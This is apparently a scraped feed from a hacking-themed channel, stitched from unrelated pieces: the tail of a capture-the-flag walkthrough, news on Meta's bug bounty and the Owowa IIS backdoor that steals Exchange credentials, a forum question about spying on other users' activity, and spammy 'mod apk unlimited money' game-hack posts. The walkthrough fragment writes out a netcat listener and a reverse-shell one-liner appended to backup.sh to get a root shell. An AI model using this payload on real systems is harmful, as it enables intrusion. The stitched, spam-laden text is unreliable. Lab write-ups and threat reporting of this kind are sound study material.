8nc -lvp 8888We proceed to replace the script in backup.sh with a reverse shell as shown below:echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.3 8888 >/tmp/f" >>backup.shhttps://blogger.googleusercontent.com/img/a/AVvXsEhBL3BW9jl_CovCcxeL92kqflKaZ__Zc0kQFtsMsuFpDFkdhuvEWuFifQTwBh8U7mPYaN6fOWbJ3-wcQhzlvj3IvqhK9Aag7YbWDaDARFCaQdo9t2cdBAZ58EfpxKyWefmoaoh9P3NmocNFYOlCLrfIxUumVvnopbVZa0smp12WiJI-UO8s_ZdaHJ-vwQ=s16000 As soon as we run the script backup.sh, we receive shell on our Netcat listener. As expected the shell we received is a root shell and in the end, we proceed to capture the root flag. Capture the root flaghttps://blogger.googleusercontent.com/img/a/AVvXsEhNfYCeFrOLKhE4g2btktj9RmndKI3_K66-wb9fWOjaU5TGxh4cJRAbxFhFWlZ7a25IfvHRDNq5rddrCMcPWC4rhIDnF-oF6pHtDME9bEpMng01HJrRHab353sWr7P9eAw9ZgDXAFu7O_GKHi2-97fY5xtduOKmwCCL55g9f3oe9HLwqQhMCCP9sae9Zg=s16000

___________________________
@hacking_Attack
@Hacking_Video

Meta expands its bug bounty program to include data scrapping
https://techgigdotcom.medium.com/meta-expands-its-bug-bounty-program-to-include-data-scrapping-66defaf3781?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Financial rewards starting at $500 are on offer for scraping bugs and scraped database reports.Continue reading on Medium » (https://techgigdotcom.medium.com/meta-expands-its-bug-bounty-program-to-include-data-scrapping-66defaf3781?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Intercepting kernel / system traffic?

Is it possible to intercept traffic on a system? Im thinking of the same way as one would intercept and record network traffic would it be possible on a multiuser system to record any activity the other users are doing, (not thinking of only network traffic but general computer activity aswell)

Thanks in advance :)

submitted by /u/FranciscoBlackmore
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Black Hat Ethical Hacking
Hackers steal Microsoft Exchange credentials using IIS module

https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Hackers steal Microsoft Exchange credentials using IIS modulePost Views: 148 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute
Threat actors are installing a malicious IIS web server module named ‘Owowa’ on Microsoft Exchange Outlook Web Access servers to steal credentials and execute commands on the server remotely.
The development of Owowa likely started in late 2020 based on compilation data and when it was uploaded to the VirtusTotal malware scanning service.

Based on Kaspersky’s telemetry data, the most recent sample in circulation is from April 2021, targeting servers in Malaysia, Mongolia, Indonesia, and the Philippines.

These systems belong to government organizations, public transportation companies, and other crucial entities.

Kaspersky underlines that the ‘Owowa’ targets aren’t limited to Southeast Asia, and they have also seen signs of infections in Europe.
https://www.bleepstatic.com/images/news/u/1220909/Diagrams/map(1).png
An uncommon backdoorMicrosoft Exchange servers are commonly targeted with web shells that allow threat actors to remotely execute commands on a server and are usually the focus of defenders.

As such, using an IIS module as a backdoor is an excellent way to stay hidden. The actors can send seemingly innocuous authentication requests to OWA, evading standard network monitoring rules as well.

“IIS modules are not a common format for backdoors, especially when compared to typical web application threats like web shells and can therefore easily be missed during standard file monitoring efforts.” explains the report by Kaspersky.

Additionally, the implant persists even after the Exchange software is updated, so the infection needs to take place only once.

Kaspersky comments that the actor may rely on ProxyLogon flaws to compromise the server, which remains a problem even after being patched nine months ago.

However, the actors didn’t do a perfect job with Owowa’s development, failing to hide PDB paths in the malware executable and causing server crashes in some cases.
See Also: New Windows zero-day with public exploit lets you become an admin Powerful capabilitiesOwowa specifically targets OWA applications of Exchange servers and is designed to log the credentials of users that successfully authenticate on the OWA login web page.

The login success is automatically validated by monitoring the OWA application to generate an authentication token.
https://www.bleepstatic.com/images/news/u/1220909/Code%20and%20Details/token.png
___________________________
@hacking_Attack
@Hacking_Video

Tool: Cobalt Strike Detect and remove the IIS moduleAdmins can use the command ‘appcmd.exe’ or the IIS configuration tool to get a list of all loaded modules on an IIS server.

In the cases seen by the researchers, the malicious module uses the name “ExtenderControlDesigner,” as shown below.
https://www.bleepstatic.com/images/news/u/1220909/Security/list%20of%20modules.png
(Click Link)https://www.blackhatethicalhacking.com/wp-content/uploads/2021/11/Untitled-design.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/how-ransomware-works-1024x535-1-90x90.png New ransomware now being deployed in Log4Shell attacks1 day ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/0d73-article-201111-ubuntu-90x90.jpg Attackers can get root by crashing Ubuntu’s AccountsService2 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/frame_2_delay-0.5s-90x90.jpg Hackers start pushing malware in worldwide Log4Shell attacks3 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/ezgif.com-gif-maker-3-90x90.jpg Malicious Notepad++ installers push StrongPity malware6 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/Kali-Linux-2021.4-Released-90x90.png Kali Linux 2021.4 Released – New Themes and Tools, name-that-hash, truffleHog, S3Scanner, KDE Plasma 5.236 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/cover_image_1598944248.jpg.760x400_q85_crop_upscale-90x90.jpg Hackers infect random WordPress plugins to steal credit cards1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/ezgif.com-gif-maker-2-90x90.jpg 27 flaws in USB-over-network SDK affect millions of cloud users1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/5fdb9e7105edc00d5378b856_kafkalogo-90x90.jpg Apache Kafka Cloud Clusters Expose Sensitive Data for Large Companies1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/Excel-als-Malware-Schleuder-Gefahr-durch-XLL-Dateien-Twitter-90x90.png Malicious Excel XLL add-ins push RedLine password-stealing malware1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/ezgif.com-gif-maker-1-90x90.jpg New malware hides as legit nginx process on e-commerce servers2 weeks ago
The post Hackers steal Microsoft Exchange credentials using IIS module first appeared on Black Hat Ethical Hacking.

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles
Thales1 Vulnhub Walkthrough

“Thales” is a Capture the Flag challenge available on Vulnhub. MachineBoy deserves credit for developing this box. In this box, we will learn how to

The post Thales1 Vulnhub Walkthrough appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Rise in API-Based Attacks Underscore Investments in New Tools

Noname Security's Series C fundraising tips the startup to over $1 billion in valuation, a sign that organizations are beginning to look for API security tools and investor are looking for innovation in the space.

Hacking on Medium
Log4j — Consequences for Data Science Teams?

https://cdn-images-1.medium.com/max/2600/1*E1BhHySLxKtThD067wyq2g.jpeg
What does Data Teams have to do with it?

Continue reading on CodeX »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Download Hills of Steel Mod Apk Game 2022 Unlimited Diamonds

https://cdn-images-1.medium.com/max/1920/1*YGupvM5HiUuKNPS9xG1gjA.png
Download Hills of Steel Mod Apk Hack Game 2022 Latest Version & Get Unlimited Money or Unlimited Diamonds. Here is a Brief Guide on This…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Download Street Racing 3d Mod Apk 2022 Unlimited Money

https://cdn-images-1.medium.com/max/1920/1*NgSqKtSR58pCJ3p_NWAOgg.png
Download Street Racing 3d Mod Apk Hack Game 2022 Latest Version Free & Get Unlimited Money or Everything. Here is a Brief Guide on This…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Download Agent Action Mod Apk 2022 Unlimited Money

https://cdn-images-1.medium.com/max/1920/1*x91s1h-juOYnJhZPjBA9Jg.png
Download Agent Action Mod Apk Hack Game 2022 Latest Version & Get Free Unlimited Money or Unlocked Everything. Here is a Brief Guide on…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video